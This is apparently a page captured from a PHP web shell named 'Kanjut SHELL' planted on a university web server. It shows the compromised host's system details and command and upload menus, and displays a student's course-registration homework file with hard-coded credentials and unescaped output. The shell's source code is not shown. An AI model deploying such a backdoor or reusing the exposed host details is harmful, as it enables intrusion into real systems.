Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.191.162.73
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ranicholson/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ranicholson/public_html/assignment8_2.php
<?php	session_start();	?>

<!--  File name: assignment8_2.php -->

<?php
	 $pass = $_SESSION['psw'];
        $user = $_SESSION['usr'];
        if($user !="cs480" or $pass != "hw8")   print "Go away.";
	else
	{
?>
<body style="background-color:lightyellow;">

<FONT color=black size=4>
<center>
<img src="http://www.tcsc.k12.in.us/images/easyblog_articles/370/Registration.png"
style="width:250px;height:100px;">

</center>
<HR>
<?php

        $nm = $_SESSION['v1'];
        $gen = $_SESSION['v2'];
        $sta = $_SESSION['v3'];



        print "Hello $nm!<P>";
        print "You're a $gen $sta.<P>";

        $class = $_POST["class"];



        $cour = array("CS112", "CS212", "CS310",
                        "CS311", "CS380", "CS440", "CS480", "Math135", "Math136","Math171", "Math172", "Math271");
        if(count($class) == 0)
                print "NO COURSES WERE SELECTED.";
        else
        {       print "<P>The courses you would like to take are: <UL>";
                foreach ($class as $i)
                        print "<LI>$cour[$i]";
                print "</UL>";
        }
?>
<P>
</FONT>

<?php
	}
?>

Stv3n404 - 2023